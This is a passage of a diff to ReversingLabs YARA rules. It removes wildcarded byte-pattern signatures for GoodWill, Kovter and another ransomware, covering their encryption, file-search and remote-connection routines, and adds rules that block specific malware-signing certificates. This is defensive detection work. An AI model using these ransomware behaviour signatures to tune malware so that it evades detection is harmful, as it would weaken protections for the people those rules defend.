?? E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? 83 3D - ?? ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D - ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 - F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? - ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 55 ?? 8B 4D ?? 0F 43 - 55 ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 - 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? - C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? - 83 3D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 45 ?? - 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 31 89 45 ?? 8D - } - $remote_connection_p5 = { - 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 ?? EB - ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? - ?? 85 F6 74 ?? 8B 45 ?? 8D 4D ?? 83 7D ?? ?? 6A ?? 0F 43 4D ?? 50 50 51 6A ?? FF B5 - ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? - ?? ?? ?? 51 68 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 F6 8B 35 ?? - ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 FF D6 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B - 85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - C6 45 ?? ?? 83 F8 ?? 72 ?? 8D 48 ?? 8B C3 81 F9 ?? ?? ?? ?? 72 ?? 8B 5B ?? 83 C1 ?? - 2B C3 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? - ?? ?? 83 F8 ?? 72 ?? 8D 48 ?? 8B C7 81 F9 ?? ?? ?? ?? 72 ?? 8B 7F ?? 83 C1 ?? 2B C7 - } - $remote_connection_p6 = { - 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? - 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 - F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 - ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? - 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? - 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 - 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? - ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52 - 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD - E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_p1 = { - FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 55 ?? 8B 4D ?? 0F 43 55 ?? 03 CA 89 85 ?? ?? ?? ?? - 83 7D ?? ?? 8D 45 ?? 51 0F 43 45 ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 - 7F ?? ?? 72 ?? 8B 3F 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? - ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 - ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? 83 7D ?? ?? 8D 4D ?? 66 89 85 ?? ?? ?? ?? 0F 43 4D ?? 8B 45 ?? 03 C1 C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 0F 43 4D ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B F0 83 7E ?? ?? 72 ?? 8B 36 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? - ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 - C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 50 6A ?? 68 ?? ?? ?? ?? 57 8B 3D ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? FF D7 89 85 ?? ?? ?? ?? 83 - F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF - D7 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C9 BA - } - $encrypt_files_p2 = { - 8D 40 ?? F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? BA ?? ?? - ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 03 CA 89 85 ?? ?? ?? ?? 83 3D ?? ?? ?? - ?? ?? B8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 43 05 ?? ?? ?? ?? 51 50 8B CE E8 ?? ?? ?? - ?? A1 ?? ?? ?? ?? 83 C4 ?? 33 C9 68 ?? ?? ?? ?? 6A ?? 56 66 89 0C 46 8D 85 ?? ?? ?? - ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 - 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? - ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 - C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 42 - 8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? - 0F 86 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? - FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? - 8D 45 ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 FF 33 F6 57 FF B5 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 57 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 - } - $encrypt_files_p3 = { - 8B 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 F8 8D 85 ?? ?? ?? ?? 3B - BD ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 0F 44 F1 50 6A ?? 56 6A ?? FF B5 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 - FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 - ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? - ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - B9 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? - ?? 8B 35 ?? ?? ?? ?? FF D6 FF B5 ?? ?? ?? ?? FF D6 C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? - ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A 85 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 - 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_files = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F9 89 BD ?? ?? ?? ?? 33 C0 89 - 85 ?? ?? ?? ?? 38 47 ?? 0F 85 ?? ?? ?? ?? 8B 07 8B 08 8D 85 ?? ?? ?? ?? 50 8D 49 ?? - E8 ?? ?? ?? ?? 83 38 ?? 0F 85 ?? ?? ?? ?? 83 7F ?? ?? 74 ?? 8B 07 8B 08 8D 85 ?? ?? - ?? ?? 50 8D 49 ?? E8 ?? ?? ?? ?? 83 38 ?? 0F 84 ?? ?? ?? ?? 8B 07 8D 8D ?? ?? ?? ?? - 8B 30 8D 46 ?? 50 E8 ?? ?? ?? ?? 8D 46 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? - ?? 8B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? - ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 - ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 07 8B - 30 8B 46 ?? 8B 00 85 C0 74 ?? 8D 8D ?? ?? ?? ?? 51 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 83 C4 ?? 66 83 38 ?? 75 ?? 8B 46 ?? FF 30 FF 15 ?? ?? ?? ?? 8B 46 ?? 83 C4 - ?? C7 00 ?? ?? ?? ?? EB ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D - 4E ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? C6 45 ?? ?? 81 7F ?? ?? ?? ?? ?? 8B 37 8B 36 75 ?? 68 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 8B 46 ?? 89 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 8D 85 ?? ?? ?? ?? 8D 4F ?? 50 E8 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, DIEGO MANUEL RODRIGUEZ" and pe.signatures [ i ] . serial == "2c:84:f9:13:60:59:e9:61:34:f8:76:66:70:ea:cd:52" and 1442215311 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Goodwill : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6716A9C195987D5Cfe53A094779461E7 : INFO FILE { meta: - description = "Yara rule that detects GoodWill ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "66358802-450b-5276-8088-b3550519b1e8" - date = "2022-06-28" - modified = "2022-06-28" + id = "fbd05f8b-3289-565c-a5f4-a1514d06ae37" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.GoodWill.yara#L1-L89" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13330-L13346" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "94e2950f415ba737fe5ca9d32a3d850dd5744e547c4ca094ad28545e19033cb2" + logic_hash = "648fd70432a791b3e589f5eda1b1510045b465623914a9762ff3dfb4a3e022f8" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "GoodWill" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_file = { - 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F - ?? ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 0B 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 02 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 07 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? 26 72 ?? - ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 2A - } - $aes_encrypt = { - 14 0A 03 0B 73 ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? - ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? - ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? - 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? - ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? - ?? ?? ?? DC 06 2A - } - $find_files_p1 = { - 28 ?? ?? ?? ?? 0A 1F ?? 28 ?? ?? ?? ?? 0B 18 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 - 17 72 ?? ?? ?? ?? A2 0C 06 0D 16 13 ?? 38 ?? ?? ?? ?? 09 11 ?? 9A 13 ?? 11 ?? 6F ?? ?? - ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 - ?? 28 ?? ?? ?? ?? 08 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 28 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? - ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? - ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? - ?? DC DE ?? 26 DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? - ?? ?? ?? DC 11 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? - 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? - ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? - DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? - 8E 69 3F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 09 8E 69 3F ?? ?? ?? ?? 08 - } - $find_files_p2 = { - 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 07 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 - ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? - 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? - ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? - 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26 - DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 07 11 ?? 28 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? - 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? - ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F - ?? ?? ?? ?? DC DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A - } - $remote_connection = { - 73 ?? ?? ?? ?? 0A 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 17 28 ?? ?? ?? - ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 1C 6F ?? ?? ?? ?? 2B ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? - 1C 6F ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 17 0B DE ?? 26 72 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 07 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_file ) and ( $aes_encrypt ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Inter Technologies Ltd." and pe.signatures [ i ] . serial == "67:16:a9:c1:95:98:7d:5c:fe:53:a0:94:77:94:61:e7" and 1169424000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Kovter : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_876C00Bd665Df98B35554F67A5C1C32A : INFO FILE { meta: - description = "Yara rule that detects Kovter ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9362ac5a-0b6c-5ac5-ac2b-59dcc1191dc6" - date = "2020-06-26" - modified = "2020-07-15" + id = "830af0ac-fb01-5c6a-a7a3-2cf5c9d016fc" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Kovter.yara#L1-L141" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13348-L13366" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3082e036b54a73ce8397cfa6e8dc2a807c587d9f17286e75af6cdbe622fae1e1" + logic_hash = "90bde1313db78d4166e8c87e7e4111c576880922b1c983f3a842ea030d38a0da" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Kovter" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D - ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? - 89 5D ?? 89 5D ?? 8B D9 89 55 ?? 89 45 ?? 8B 75 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 80 38 ?? 74 - ?? 8B CE 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 - 89 45 ?? 33 C0 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 75 ?? B3 ?? 8D 45 ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? - ?? ?? ?? 5A 2B C2 83 C0 ?? 50 8B 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 83 C2 ?? - 8B 45 ?? 59 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 5A 2B C2 50 8D - 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? - 8B D0 42 8B 45 ?? 59 E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? 8B C8 49 BA ?? ?? ?? ?? 8B 45 ?? - E8 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 48 0F 8E ?? ?? ?? ?? - 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? - ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 - ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D - } - $remote_connection_2 = { - 45 ?? 50 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? 